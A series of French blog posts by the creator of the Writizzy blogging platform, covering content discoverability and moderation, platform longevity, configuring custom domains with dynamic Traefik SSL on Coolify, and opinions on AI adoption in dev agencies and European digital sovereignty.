Or, si ce n'est pas lu, ce n'est pas que le contenu est forcément de mauvaise qualité, mais aussi qu'il est difficile à trouver. Sans relais actif, personne ne lit un article de blog. Le SEO pour un blogueur c'est un combat quasi perdu d'avance contre des plateformes et des sites pros qui bénéficient d'une meilleure autorité ou d'un budget marketing.

C'est pourquoi 90 % des blogueurs utilisent les réseaux sociaux pour promouvoir leurs articles.

Et forcément en créant Writizzy je me demande, et si on pouvait faire mieux ? Si on pouvait favoriser la découverte de contenu à travers un cercle de lecteurs ?

Les algos : la réponse apportée par les plateformes

C'est justement ici qu'interviennent les plateformes. Je pourrais citer Instagram, Youtube, Tiktok, X etc. La mécanique est la même. Ces plateformes vont créer des fils de contenus adaptés à l'utilisateur. Et elles vont chercher à maximiser le temps passé sur la plateforme par l'utilisateur en lui proposant toujours plus de contenu adapté.

Pour ça, l'idée est de reposer sur la masse de contenus produits par tous les utilisateurs de la plateforme pour déterminer ensuite la bonne audience susceptible d'apprécier une nouvelle vidéo.

Quand je publie sur Youtube je ne fais aucun effort de promotion, c'est Youtube qui s'en charge. Il va chercher à déterminer la bonne audience, leur présenter la vidéo, mesurer les réactions (clic, temps de visualisation, like, commentaires etc.), valider l'audience, recommencer etc.

Bref, c'est ce qu'on appelle un algorithme.

Sauf que ces algorithmes peuvent avoir pas mal de défauts. Ils peuvent être optimisés pour favoriser les engagements négatifs (comme X qui va diffuser davantage les contenus polémiques), voire favoriser un courant de pensée (cf. X encore une fois qui a été impliqué dans plusieurs affaires d'influence sur des élections récentes). On peut aussi leur reprocher de fabriquer des bulles de filtre qui nous enfermeraient dans des schémas de croyance, même si j'ai tendance à penser que nos propres biais de confirmation nous enferment déjà tout seuls. Ils peuvent aussi avoir un objectif néfaste de nous enfermer dans un scrolling infini, rétribué par de petits shots de dopamine histoire d'accepter passivement de la publicité insérée ici et là.

Alors oui, les algos n'ont plus bonne presse, mais dans les faits, ils restent la principale raison de rester sur ces plateformes. Ce sont eux qui nous permettent de découvrir le contenu disponible et pour les personnes qui produisent le contenu, ce sont eux qui nous permettent d'éviter l'anonymat complet.

Si je suis convaincu de l'intérêt de travailler sur la découvrabilité des blogs, une question semble émerger : comment donner le contrôle aux utilisateurs ?

Reprendre le pouvoir

Avant d'aller plus loin, évidemment il faut préciser que tous les algorithmes ne sont pas forcément opaques et complexes. Il existe des alternatives "allégées" comme par exemple sur Hacker News qui se base uniquement sur le nombre de votes et la fraîcheur du contenu. C'est le même type d'algorithme qui est utilisé sur Bearblog qui l'indique en bas de page :

# This page is ranked according to the following algorithm:
Score = log10(U) + (S / (B * 86,400))

D'autres solutions proposent un simple classement chronologique. C'est l'approche par exemple de Mastodon qui propose uniquement d'afficher les posts triés par date.
J'ai tendance à trouver cette approche trop minimaliste.

En fait surtout ce qui m'intéresse, c'est de savoir s'il existerait une approche vertueuse ? Comment préserver la qualité des recommandations sans m'imposer des choix unilatéraux ? Or c'est justement exactement le sujet de ce billet de blog et qui fait une remarque importante :

You can pay money and advertise to women of color between 40–60 in Seattle, but you can't choose to read perspectives from those women

Ce billet de blog met en avant une réponse, un projet de recherche du MIT : Gobo (malheureusement pas actif au moment où j'écris) nous permettant d'agréger de la donnée issue de plateformes pour y appliquer nos propres filtres. Dans la même veine on peut trouver aussi Youchoose, ou Tournesol, avec tous le même objectif, donner le pouvoir aux utilisateurs.

Si ces initiatives restent confidentielles, la mise en œuvre la plus aboutie et utilisée est sans doute celle de Bluesky qui permet à chacun de choisir des algorithmes qui peuvent être créés par d'autres utilisateurs.

Si je devais créer un mécanisme de recommandation de contenu dans Writizzy, ce serait sans doute l'approche qui me séduit le plus.

Cependant, en discutant du sujet avec Thomas (qui travaille aussi sur Writizzy), proposer un feed de contenu va rapidement poser deux autres problèmes :

• comment on démarre alors qu'on a seulement 140 utilisateurs dont environ 10/15 % vraiment actifs ? C'est ce qu'on appelle le problème du Cold Start
• la modération

Je passe sur le premier sujet, ce n'est pas l'objet de ce post. Par contre le second est assez sérieux.

La modération

À partir du moment où on crée une page dont le contenu est un agrégat venant d'une multitude d'utilisateurs, le danger d'avoir du contenu inapproprié existe. Ça peut être du contenu X, du spam, du scam, des injures à caractère raciste etc.

Writizzy a déjà une responsabilité au sens du DSA européen. Je dois fournir un mécanisme de signalement et je dois agir si on me signale un contenu illicite. Attention, je suis considéré comme hébergeur donc je ne suis pas tenu de réagir proactivement. Tant que les blogs restent séparés, ça reste encore "facile". L'impact se limite au blog de l'individu en question.

Par contre, au moment où un feed se crée, l'impact peut être démultiplié, c'est même l'effet recherché, mais ici, ça crée une pression plus importante sur la modération. Et c'est loin d'être simple parce qu'il faut juger du caractère illicite du contenu or ce caractère n'est pas forcément évident. La notion de ce qui est acceptable ou pas n'est pas universelle.

Où se situe la frontière entre satire et insulte ? Quelle est la frontière entre critique politique et diffamation ? Comment détecter et traiter les fake news ? Quelle est la frontière entre nudité pornographique et art (par exemple L'Origine du monde de Gustave Courbet) ?

J'ai essayé de recenser les différentes méthodes possibles de modération pour voir si c'était envisageable pour Writizzy :

La modération manuelle

Ici on retrouve deux grandes catégories, la modération manuelle par un ou plusieurs super administrateurs, et la modération massive et outsourcée. La modération manuelle sur des petits volumes est celle qu'on retrouve par exemple sur Mastodon avec le biais évident de la subjectivité du modérateur et également des conflits ensuite entre instances de Mastodon ayant des positions politiques parfois différentes. Je ne suis pas infaillible, je ne veux pas être responsable de la modération sur tout le contenu publié. Sans parler que ça ne passera pas à l'échelle.

En second il y a la modération de masse, souvent outsourcée dans des pays à faibles salaires par des grandes plateformes comme Meta, Tiktok ou OpenAI. C'est loin d'être un métier agréable et les abus ont été décrits dans plusieurs articles. C'est inadapté pour Writizzy, économiquement et éthiquement.

La modération communautaire.

Celle-ci repose principalement sur les signalements. On peut retrouver les Community Notes de X dans cette catégorie, ou les fils de discussion sur Wikipédia. C'est évidemment la modération la moins coûteuse mais elle peut être contournée si un ensemble d'individus se coordonnent pour censurer un contenu. Ce système peut être amélioré avec un système de points de réputation accordés par la communauté aux utilisateurs. C'est ce qu'on appelle les points de Karma sur Reddit et Hacker News, ou le score de réputation sur Stack Overflow. Sur Writizzy ce mécanisme pourrait avoir tout son sens. Cependant cette modération a aussi l'inconvénient d'être a posteriori, c'est-à-dire que le mal est déjà fait, le contenu a déjà été exposé avant d'être signalé.

La modération automatique

Ça peut être lié à une détection de mots-clés, le profil de la personne (nouvel inscrit, pattern de diffusion etc.), algos de détection de nudité sur des photos. C'est la méthode la plus simple à mettre en place. On peut régler la tolérance. Et c'est peut-être là qu'une IA peut briller pour comprendre un texte mais c'est loin d'être infaillible, on peut utiliser des détournements de mots, modifier l'orthographe, utiliser des emojis pour représenter un concept ou tout simplement avoir des algos moins performants pour une langue donnée.

Pour moi, la conclusion de cette mini étude est assez évidente, il faudrait avoir un système de détection automatique en amont, puis un système de signalement amélioré par un système de Karma en aval et en tout dernier lieu, une intervention manuelle d'un super admin.

Pour autant, ces systèmes existent et les plateformes continuent d'être décriées, parce que toutes ces modérations sont imparfaites. En effet il y a toujours la question centrale de l'interprétation : qu'est-ce qui est licite ou pas ? Cette interprétation variant selon les pays et cultures.

Et c'est là où on retrouve une autre approche, celle de Bluesky, encore elle, dont l'un des principes fondamentaux c'est la décentralisation, y compris sur la modération via des étiqueteurs (labelers).

La modération décentralisée

La modération sur Bluesky comporte 2 niveaux :

• La modération de base, celle de Bluesky. Cette première étape de modération est faite par Bluesky lui-même via Ozone, un outil de modération open source. Cette modération est paramétrable pour indiquer quel est son propre niveau de tolérance. Cette première étape est censée détecter ce qui est universellement non admis (pédopornographie, appel à la violence etc.) et sur lesquels la plateforme peut être tenue responsable devant la justice.

• La modération optionnelle fournie par des labelers indépendants. Ces labelers peuvent être construits avec un SDK et fournis aux utilisateurs qui les choisissent pour customiser la modération qu'ils attendent.

Bref, on en revient encore au même : donner le contrôle aux utilisateurs. (Même si sans doute 90% d'entre eux garderont la modération par défaut)

Des alternatives pour la découvrabilité

Ce qui est sûr, c'est que le sujet est ardu et je comprends largement la réticence de Thomas à s'aventurer sur ce sujet. Alors on a discuté d'autres pistes. Plutôt que de proposer une agrégation de contenu, on pourrait commencer par une curation de contenu. C'est beaucoup plus simple et nous pourrions sélectionner chaque semaine ou chaque mois le contenu à mettre en avant.

On peut aussi considérer que la suggestion de contenu peut se faire à plus petite échelle :

• des suggestions de contenus liés en bas des articles qu'un lecteur vient de lire
• des suggestions de newsletter similaires lorsqu'un utilisateur s'abonne.

On peut aussi considérer que le sujet c'est plutôt d'automatiser la multidiffusion : RSS et newsletter aujourd'hui, diffusion automatique sur ATProto, Bluesky, Nostr demain ?

Il y a d'autres pistes et aucune décision n'a été prise pour l'instant.

Et vous, vous feriez comment ? Si vous êtes concernés par le sujet de la découvrabilité, ce serait quoi votre solution idéale ? Est-ce que vous utilisez les suggestions Medium ou dev.to par exemple ? Est-ce que vous faites déjà de la diffusion sur des réseaux fédérés ?

Citations :

Je n'ai pas vraiment l'intention d'utiliser une plate-forme, une des raisons d'avoir écrit mon moteur c'est la stabilité

Avant d'utiliser Substack j'utilisais la solution de Twitter qui faisait a peu près la même chose. Et ils ont fermé du jour au lendemain, j'ai pas pu récupérer mes infos.

Bref, c'est une préoccupation normale : est-ce que l'effort que je vais mettre à tenir un blog ne va pas être réduit à néant demain ?

Je dois trouver une réponse à cette question. Comment préserver l'effort des personnes qui pourraient utiliser Writizzy ?
Et pour ça j'ai quelques éléments de réponse. Mais ce n'est pas uniquement cantonné à Writizzy, que vous utilisiez une plateforme ou que vous en construisiez une, voici le framework que j'ai utilisé pour penser à cette question.

Prévoir la réversibilité

Un des premiers sujets, selon moi, c'est de rester toujours maitre de ce qu'on produit. Il faut fournir une manière simple d'exporter ces informations.

La fonction d'import/export doit être facile à trouver, et le format doit être exploitable.

Sur Writizzy j'ai choisi un format Json qui ressemble à celui de Ghost. Et tous les posts sont inclus dedans au format markdown. La liste des abonnés à la newsletter est également incluse.

Il n'y a aucun locking sur les données et il serait facile pour un utilisateur de faire une migration vers une autre plateforme si besoin.

Le second facteur de réversibilité, c'est de créer la possibilité (optionnelle) à chacun d'utiliser son propre nom de domaine, par exemple j'utilise eventuallymaking.io. Si demain writizzy s'arrête, je pourrais toujours garder ce nom de domaine et recréer mon blog à partir de mes données. Le contenu n'est pas noyé dans un site (comme Medium par exemple) et donc je garde tout contrôle sur la façon dont je peux le récupérer, et le diffuser.

Avec le sujet de la réversibilité je pourrais aussi parler de l'interopérabilité. Comment faire en sorte que le contenu ne soit pas exclusif à Writizzy, comment l'interopérer ailleurs. Il y a déjà des solutions comme le flux RSS, les newsletters. Mais, je regarderais aussi du côté d'ActivityPub, AtProto et tout ce qui pourra permettre une meilleure décentralisation du contenu si des solutions intéressantes sont faisables.

Prévenir la merdification

Ok, ce titre est un peu étrange :)

La plupart des produits grand public ont tendance à mal vieillir, devenir trop complexe, trop cher. C'est souvent le résultat d'une double pression, celle des actionnaires d'une part qui cherche à maximiser les profits, et celle des équipes internes de l'entreprise qui ont besoin de constamment faire évoluer le produit pour justifier de leur présence.

Cory Doctorow a popularisé cette expression, mais essentiellement en parlant de la première cause, la pression des investisseurs. J'ai tendance à penser que la seconde est tout autant problématique.

Writizzy est construit différemment. Et je pense que la plupart des nouvelles boites qui se créent dans cette ère post IA et en bootstrap vont partager cette même discipline. Je ferai en sorte de construire juste ce qui est nécessaire et ensuite de faire évoluer le produit uniquement quand il le faut. Je ne vais recourir à aucun investisseur externe et je ne prévois pas de revendre ce projet.
Et je ne prévois pas d'embaucher des centaines de personnes.

Je pense qu'il est possible et même plutôt sain de construire "lentement mais surement" pour ce type de projet.

Etre viable économiquement

Durer implique que le produit ne soit pas un gouffre financier. La première réponse est donné par le chapitre précédent, je n'ai pas d'investisseurs, je ne vais pas embaucher pour cramer un budget que je n'ai pas et je sais ce que c'est de que de créer un produit pour l'avoir fait plusieurs fois. Je sais développer à l'économie.

Sur Hakanai.io (un autre produit que je créé), je ne fais pas des milliers d'euros, mais le produit rapporte plus qu'il ne coute. Writizzy n'est vieux que d'un mois et demi, et c'est déjà le cas également. Parce que c'est simple aujourd'hui de créer des produits avec peu de moyens.

Evidemment, je pourrais ne pas en vivre, mais je ne compte pas dessus pour l'instant, et Thomas (qui crée ce produit avec moi) non plus. Je ferais en sorte que ça puisse arriver, ne serait-ce que pour démontrer que j'en suis capable, mais j'ai la possibilité d'attendre longtemps.

Une technologie durable

Bon, ça c'est la partie la moins réalisable dans le sens ou aucune technologie n'est vraiment durable. Tous les languages, tous les frameworks nécessitent d'être mis à jour régulièrement, notamment pour les failles de sécurité, la compatibilité avec les OS sous-jacent etc...

Pour autant, il y a quelques bonnes pratiques à avoir et notamment éviter les lockins techniques, ne pas reposer majoritairement sur une plateforme dont on ne pourrait pas se passer (éviter un gros vendeur cloud par exemple, ou datadog etc...) Il faut toujours prévoir des alternatives, des plans de secours si un outil utilisé devenait trop cher, ou mourrait.

Writizzy tourne sur une stack standard (kotlin, nuxt) avec un outil PAAS qui serait facile à échanger (Coolify avec Traefik), sur un serveur VPS tout ce qu'il y a de plus simple chez Hetzner.

On pourrait me demander, mais pourquoi ne pas en faire un produit open source ? C'est évidemment, en apparence, une garantie ultime de pérennité.
Je dis bien, en apparence, parce que l'histoire nous a montré que des projets open source pouvaient être accaparé par leurs créateurs (Cf Wordpress et ces différents dramas).
La question n'est pas forcément open source ou pas open source, mais quelles sont les intentions de ces créateurs ?
Il existe beaucoup d'exemples d'openwashing — des projets qui utilisent l'étiquette "open source" comme canal d'acquisition ou argument marketing, sans que ce soit une conviction profonde.

Dans tous les cas, l'opensource vient aussi avec des contraintes. Aujourd'hui Writizzy c'est 3 applications distinctes, ce qui n'est pas forcément dans les standards de ce qu'on aime déployer pour de l'open source. C'est aussi un produit qui est pensé comme une plateforme et pas un produit qu'on utiliserait de facon personnelle uniquement. Enfin, il y a un sujet d'exploitation commerciale, je ne souhaite pas avoir d'autres personnes qui profiteraient de mon travail gratuitement pour revendre ce que j'ai créé.

Je pourrais revenir sur ce sujet dans le futur en fonction de comment le produit évolue. Mais pour l'instant, cette option est écartée.

Si jamais par contre Thomas et moi décidions d'arrêter ou si nous avions un accident, ce serait une des conditions qui déclencherait un passage en open source et je vais prévoir des solutions pour que ca se fasse tout seul le cas échéant.

Etre mon premier utilisateur (dogfooding)

Enfin dernier point, je bloggue depuis 20 ans. Je suis actuellement l'utilisateur le plus prolifique sur Writizzy avec plus de 80 articles déjà présents (mais je triche, j'ai migré mes anciens articles ^^). Je construis cet outil parce que je l'utilise. Je pense que c'est beaucoup plus facile de construire un produit qu'on comprend parce qu'on est soit même utilisateur. Et ça aussi, c'est un facteur de longévité.

Ok, ce titre peut faire peur, mais en gros, il permet à une application de gérer des tas des sous domaines (en HTTPS) dynamiquement pour ces utilisateurs. Par exemple :

• https://hugo.writizzy.com
• https://thomas-sanlis.writizzy.com

C'est une excellente base, mais vos utilisateurs en demandent souvent plus : les custom domains. C'est-à-dire la possibilité de personnaliser leur propre adresse, par exemple :

• https://eventuallymaking.io
• https://thomas-sanlis.com

Je vous propose donc de découvrir comment gérer des domaines personnalisés pour une application multi-tenant avec des certificats SSL dynamiques.

(J'ai l'impression de tenter le record du titre d'article le plus long du monde !)

Les custom domains

La première étape pour un domaine personnalisé consiste à envoyer le trafic lié à ce (sous-)domaine vers votre application (Writizzy dans mon cas).

Tout se joue au niveau des enregistrements DNS de l'utilisateur. En effet, lui seul peut configurer son domaine pour qu'il pointe vers le sous-domaine de votre application.
Plusieurs options s'offrent à lui : les enregistrements CNAME, ALIAS ou de type A.

1. Le CNAME (le plus simple)

Un CNAME est un alias pour un autre domaine. Il permet de dire, par exemple, que www.eventuallymaking.io est un alias de hugo.writizzy.com. Tout le trafic cherchant à résoudre l'adresse www sera automatiquement renvoyé vers votre domaine applicatif.

Limitation majeure : On ne peut pas utiliser de CNAME pour un domaine racine (par exemple eventuallymaking.io sans le www). L'ajout d'un CNAME sur un domaine "apex" poserait des soucis de coexistence avec les autres enregistrements (A, MX, TXT, etc.).

2. L'ALIAS

Certains fournisseurs DNS proposent l'enregistrement ALIAS (ou CNAME flattening). C'est en résumé un CNAME qui peut coexister avec d'autres enregistrements sur un domaine racine. C'est une excellente méthode si le provider de l'utilisateur le permet (ce n'est pas le cas d'OVH, par exemple).

3. L'enregistrement de type A

Ici, l'utilisateur renseigne directement l'adresse IP du serveur de Writizzy.

Attention : Cette méthode est risquée. Si vous changez de serveur (et donc d'IP), tous les domaines personnalisés de vos utilisateurs seront cassés jusqu'à ce qu'ils mettent à jour leur configuration. Pour utiliser cette méthode sereinement, il est indispensable d'avoir une IP flottante réattribuable à votre nouveau serveur ou à votre frontal web.

Ok, c'est très bien, mais si on s'arrête là, le résultat est très loin d'être parfait puisque le site ne fonctionnera pas en HTTPS.

Le HTTPS sur les custom domains

Dans le billet précédent, je montrais comment Traefik pouvait router tout le trafic arrivant sur les sous-domaines *.writizzy.com vers la même application grâce à ces lignes :

traefik.http.routers.https-custom.rule=HostRegexp(`^.+$`)
traefik.http.routers.https-custom.entryPoints=https
traefik.http.routers.https-custom.service=https-0-zgwokkcwwcwgcc4gck440o88
traefik.http.routers.https-custom.tls.certresolver=letsencrypt
traefik.http.routers.https-custom.tls=true
traefik.http.routers.https-custom.priority=1

Puisque la Regexp capte tout, on pourrait penser que le SSL suivra. Malheureusement, non. Traefik sait qu'il doit gérer un certificat Wildcard pour *.writizzy.io, mais il n'a aucune connaissance des domaines externes qu'il va devoir servir.

Il va falloir l'aider en lui fournissant dynamiquement la liste des domaines personnalisés.

Nos contraintes :

• on ne veut évidemment pas redémarrer l'application
• on veut le piloter programmatiquement

La configuration Traefik dynamique avec les file providers

C'est ici qu'entrent en scène les File Providers de Traefik.

Dans Coolify, cette fonctionnalité est active par défaut via les dynamic configurations. Sous le capot, Traefik surveille un répertoire spécifique :

- '--providers.file.directory=/traefik/dynamic/'
- '--providers.file.watch=true'

Si l'on dépose un fichier .yml définissant la règle pour un nouveau domaine, Traefik le prendra en compte à chaud et lancera le challenge HTTP auprès de Let's Encrypt pour obtenir le certificat SSL.

Exemple de configuration dynamique :

http:
  routers:
    eventuallymaking-https:
      rule: "Host(`eventuallymaking.io`)"
      entryPoints:
        - https
      service: https-0-writizzy
      tls:
        certResolver: letsencrypt
      priority: 10
    eventuallymaking-http:
      rule: "Host(`eventuallymaking.io`)"
      entryPoints:
        - http
      middlewares:
        - redirect-to-https@docker
      service: https-0-writizzy
      priority: 10

Donc avec cette méthode, on a résolu la première contrainte : ne pas redémarrer pour configurer un nouveau custom domain.

Maintenant, on veut faire sauter la seconde contrainte et le faire programmatiquement.

Automatisation via l'application

Pour piloter cela programmatiquement, l'idée est simple : l'application doit créer ces fichiers directement dans le répertoire surveillé par Traefik.

1. Configuration Coolify : Allez dans Configuration -> Persistent Storage et ajoutez un Directory mount pour rendre le répertoire /traefik/dynamic/ visible par votre conteneur applicatif.

2. Code (Kotlin dans mon cas) : L'application génère un fichier basé sur le template ci-dessus dès qu'un utilisateur configure son domaine.

💡 Note importante sur le timing : Si vous créez la configuration Traefik avant que l'utilisateur n'ait pointé son domaine vers votre IP, le challenge SSL échouera. Traefik réessaiera automatiquement (backoff), mais cela peut prendre du temps. L'idéal est de valider le pointage DNS (via un job en arrière-plan) avant de générer le fichier.

🔒 Note importante sur la sécurité : Le fichier créé contient une entrée utilisateur (le nom de domaine). Il est crucial de nettoyer et valider cette donnée pour éviter qu'un utilisateur malveillant n'injecte des directives Traefik arbitraires dans votre configuration.

Petit bilan

Ce billet conclut, je l'espère, une série utile pour les créateurs de SaaS multi-tenant sur Coolify. Nous avons couvert :

1. La gestion des tenants (Nuxt) et configuration Traefik de base
2. La gestion du SSL avec sous-domaines dynamiques
3. La gestion des custom domains en SSL (ce billet)

On pourrait se demander si la solution va tenir la route avec des dizaines de milliers de sites utilisant tous un custom domain, notamment la capacité de Traefik de monitorer autant de fichier dans un répertoire. Je n'ai pas la réponse, Writizzy est pour l'instant loin de cet ordre de grandeur. Il existerait peut être d'autres solutions, notamment en utilisant Caddy à la place de Traefik dans Coolify mais c'est bien trop tôt pour l'instant.

Ça a donné lieu à plusieurs discussions :

• quel est l'impact de l'IA concrètement pour une agence de dev en 2025 ?
• est-ce que c'est une bulle ? Et si jamais ça explosait ?
• comment faire adopter l'IA par ses équipes ? Est-ce que c'est un choix individuel ou est-ce que c'est une contrainte d'entreprise ?
• comment l'IA peut être nécessaire mais conduire à la nausée ?

Je vais essayer de retranscrire ces discussions ici.
Pour préserver l'anonymat des participants, les noms seront tous fictifs dans la suite de l'article.

Impact de l'IA pour une agence de dev en 2025

J'ai pu parler avec un responsable d'agence de dev (qu'on va appeler Chris) pour qui l'IA a beaucoup changé la donne avec une vraie politique d'adoption à l'échelle de la boite.

Je vais être bref pour essayer de pas dénaturer les propos que j'ai entendus :

• L'IA a eu un impact sur tous les aspects de la boite, la contractualisation, le dev, le support etc..
• L'agence fait beaucoup plus de forfaits et moins de régie. Facturer au temps passé n'a plus de sens. Désormais, il préfère largement facturer à l'impact et la valeur produite.
• Ils peuvent désormais s'engager sur des forfaits plus petits, car les marges ont augmenté et le risque a diminué
• Il commence à voir des goulots d'étranglement au niveau de ces clients. Désormais les devs vont plus vite que le client peut exprimer de besoin.
• Il commence à avoir plus souvent des équipes de 1 dev pour 1 client, ce qui est pas forcément bien pour la continuité de service. Mais d'un autre côté avec deux devs, il n'y a pas assez de boulot.
• La phase de design est plus importante, avec une bonne phase de doc pour capturer les demandes. C'est ça qui sert ensuite pour l'IA (qui participe aussi à raffiner les docs)
• Conséquence du point précédent : c'est la première fois depuis la création de la boite que autant de doc a pu être produite, avec un bon niveau de qualité.
• Il a eu des discussions avec des leads devs confirmés qui ont vu leur métier changer, et qui ont émis des doutes au début sur le fait qu'ils allaient continuer à aimer leur boulot. Mais pour l'instant ces personnes-là ont appris à aimer leur nouveau boulot.
• C'est difficile d'embaucher des juniors, car travailler avec une IA pour produire des applications nécessitent d'avoir le recul nécessaire pour savoir les coder soit-même, lire le code, voir les failles etc... Il y a une véritable mur de l'IA pour un jeune.
• Globalement l'agence fait plus de marge. Mais aussi parce que les concurrents ne s'y sont pas mis. Chris pense que ça va se rééquilibrer quand plus de concurrents auront adopté les mêmes méthodologies de travail.
• Il n'a pas de soucis à faire participer les clients et ne cache pas l'usage de l'IA. Ça reste un outil, mais c'est leurs méthodes de travail et leur expertise qui permet d'en tirer un résultat satisfaisant.

Comment faire adopter l'IA par ses équipes

Ce sujet est très riche et je l'avais déjà vu passer sur un slack.

Globalement, on pourrait formuler la question comme ça :

Certains dévs n'utilisent pas l'IA dans une équipe malgré des sessions de démo/accompagnement etc... Comment les convaincre de le faire ?

La discussion a forcément soulevé plein de sujets, mais on pourrait simplifier avec ces deux questions :

• est-ce qu'il faut forcer les gens ?
• quels sont les raisons invoquées par ces devs ?

A la seconde question, on retrouve un ensemble de raisons qu'on peut résumer en :

• considérations écologiques
• sentiment de perte d'intérêt pour le métier
• peur de perdre des compétences

Sur le premier sujet, personne n'a trop osé aller sur le terrain. J'ai moi-même pas répondu dans la discussion elle-même, peut-être par crainte d'émettre un avis un peu trop dérangeant et de passer pour le cynique de service. Mais avec le recul, je vais profiter de ce billet pour le faire. Certes, c'est un avis qui pourrait ne pas plaire, mais j'ai bien peur qu'il se réalise.

Partons de cette hypothèse : Si une IA fait en 5 minutes le boulot qu'un(e) ingénieur(e) aurait fait en plusieurs heures/jours, l'équation écologique est largement en faveur de l'IA.

Pour étayer cette hypothèse, je reprends les chiffres que j'avais déjà calculés dans un autre billet de blog :

Le temps moyen pour produire un concept art varie entre les artistes mais tourne globalement dans la quinzaine d’heures avec Photoshop. Ca représente 1500Wh, plus de 300 fois le cout avec une IA.

A tâche égale, l'IA est plus intéressante écologiquement qu'un travailleur. Evidemment, on peut répondre que oui, mais si on va plus vite, on va produire plus. Le développeur va bosser une journée complète dans tous les cas, et donc va consommer davantage sur la journée.

Oui, un dev va consommer plus. S'il ne fait que ça, ce qui est déjà une hypothèse optimiste.

Mais si l'effectif de la boite diminue de 30 ou 40%, l'équation redevient positive.
Et ça j'ai bien peur que personne ne le dise trop fort parce que les implications sont lourdes.

En fait il va y avoir deux cas de figures :

• les boites dysfonctionnelles où les gens mettent 3 semaines pour faire des tâches simples et se planquent une partie du temps à la machine à café ou dans des meetings inutiles.. Eh bien si les gens utilisent l'IA, ils passeront juste plus de temps sur le reste. Et ça fera des économies d'énergie. Oui, c'est un peu provoc, mais je connais ces boites-là, elles existent et c'est pas du cynisme quand je dis ca...
  Je vous avais dit que j'allais être piquant...

• les boites qui recherchent la productivité. Ces boites vont garder les personnes les plus efficaces, mais vont réduire les effectifs, car les besoins ne suivront pas. C'est dur à entendre, je comprends. Mais ça va arriver.

J'ai bien peur que les personnes qui se mettent en défaut pour des considérations écologiques finissent par avoir gain de cause... en perdant leur emploi.

Et je précise bien que je ne le souhaite à personne. Je tire un fil de raisonnement qu'il me semble important d'aborder. Vous pouvez détester le messager. Mais c'est le message qui devrait vous intéresser.

Viennent ensuite les deux autres sujets :

• la perte de sens
• la perte de compétences

Sur les différentes discussions que j'ai eues, tout le monde semblait aller vers les mêmes conclusions : oui le métier change. C'est beaucoup plus un métier de conception, avec une grande emphase sur le design, l'architecture, la capacité à le formaliser. Il y a beaucoup de gens qui finissent par l'apprécier. Mais c'est pas le cas de tous, et c'est en partie ça qui créé les réfractaires.

Maintenant, on en arrive à la question épineuse :

• est-ce qu'il faut forcer les gens ?

Et là globalement les avis sont assez divergents entre ceux qui considèrent que ça doit être un choix personnel, comme le choix de l'IDE par exemple.

La réflexion est permise, c'est plus le côté "obligatoire" qui n'est pas justifié à mon sens. Il y a des outils qui sont des contraintes : versioning, unittesting, etc. Et d'autres qui doivent rester à la discrétion des devs : IDE, StackOverflow, Reddit, etc. L'IA pour moi fait partie de la 2ème catégorie.

Et d'autres qui considèrent que ça ne peut plus l'être, pas plus que le choix de refuser d'utiliser un outil de versioning.

Je comprends vos remarques, mais je place l'IA à un niveau différent d'un simple outil. Aujourd'hui si un dév utilise VSCode, je ne le force pas à utiliser Intellij (ou autre) mais ne pas utiliser d'IDE pour un dév semblerait assez étonnant.

J'ai pas vu de consensus se dessiner dans les groupes qui ont discuté de ce sujet. Mais une des phrases qui ressort pour moi en termes de conclusion, c'est la suivante :

Les développeurs qui ne veulent pas utiliser l'IA doivent comprendre que leur perf va être analysée en comparaison avec des gens qui, eux, l'utilisent. S'ils sont aussi performant sans, soit et sinon ils sont face à un problème qu'ils doivent résoudre de leur côté, non ?

De cette discussion est venu un questionnement : ok, mais si on bascule tous dessus et que la bulle explose, qu'est-ce qu'on fait ?

Est-ce que c'est une bulle ? Et si jamais ça explosait ?

Je trouve la question très pertinente. Qu'est-ce qui se passe dans 2 ou 3 ans si la bulle de l'IA explose comme la bulle internet en 2000 ? Est-ce qu'on sera capable de revenir en arrière sur nos habitudes de travail ?

Sur le côté "bulle", le consensus semble assez largement partagée et la période actuelle rappelle beaucoup celle de 2000.

En 2000, le simple fait de renommer son entreprise avec un ".com" pouvait faire exploser une valorisation boursière, sans que la boite fasse du web. Pour lever de l'argent, il fallait trouver lien, fictif ou pas, avec internet. Aujourd'hui c'est pareil avec l'IA. Plus de la moitié des investissements concernent l'IA. Je reçois des contacts chaque semaine de boite qui vont "révolutionner le secteur X ou Y" avec de l'IA.
Toutes les semaines.

Donc oui, le consensus est partagé : beaucoup d'entreprises qui surfent sur l'IA vont se planter. Et potentiellement pas que des petites. Mais il y a un second consensus, c'est que l'IA ne mourra pas avec la bulle, tout comme le Web n'est pas mort en 2000.

Au vu de l'adoption massive des outils d'assistance au code, il y a peu de chances qu'ils ne soient plus disponibles, d'autant qu'il existe déjà des modèles opensource. Et certains imaginent qu'il sera possible d'entretenir des modèles spécialisés dans le code pour moins cher que les gros modèles généralistes actuels. Une équation économique rentable se mettra en place, à minima sur cette niche.

Personne n'est devin comme l'a fait remarquer un intervenant, mais j'ai tendance à penser que la probabilité d'une disparition complète de l'IA me parait peu évidente.

Comment l'IA peut être nécessaire, mais conduire à la nausée ?

Je sais même pas si ce chapitre est vraiment nécessaire tant il paraît évident, mais tout le monde semble tout autant intrigué que victime d'indigestion sur les sujets IA. Certes tout le monde l'utilise, mais de la même facon que tout le monde utilise un clavier et c'est pas suffisant pour que ce soit le SEUL élément de la conversation.

Pourtant :

• C'est compliqué de lever de l'argent pour créer des boites sans dire qu'on fait de l'IA
• Il y a plein de pitchs de boites qui parlent constamment d'IA alors qu'en étant un minimum sérieux, il n'y a rien de crédible quand on creuse un peu.
• C'est agacant de voir des conférences techs avec 95% de conférences autour du thème de l'IA avec une certaine compétition parfois dans le brassage de vent (tuto pour débutants, sujets tirés par les cheveux etc...)

Alors oui, c'est paradoxal : c'est le sujet du moment, et en même temps tout le monde sature.

Bref, on a parlé de tout ça (pas que, je vous rassure) et j'espère que cette petite synthèse vous aura intéressé.

La question est sans doute mal posée.

Pourquoi chercher à l'être ?

"Pourquoi" est sans doute une meilleure question.

Etre dépendant d'un pays, quel qu'il soit, c'est prendre des risques sur sa propre liberté d'expression ou sa sécurité.

L'Europe a toujours été influencée par les US, mais désormais ce pays est devenu hostile et des affaires récentes nous ont montré les risques de cette dépendance :

• les multiples scandales liés aux réseaux sociaux, X et Facebook pour influencer les élections en Europe
• les multiples dérapages de Grok, l'IA de Musk pour créer un climat de haine
• les sanctions contre la cour pénale internationale de justice qui investigue sur les éventuels crimes de guerre à Gaza.

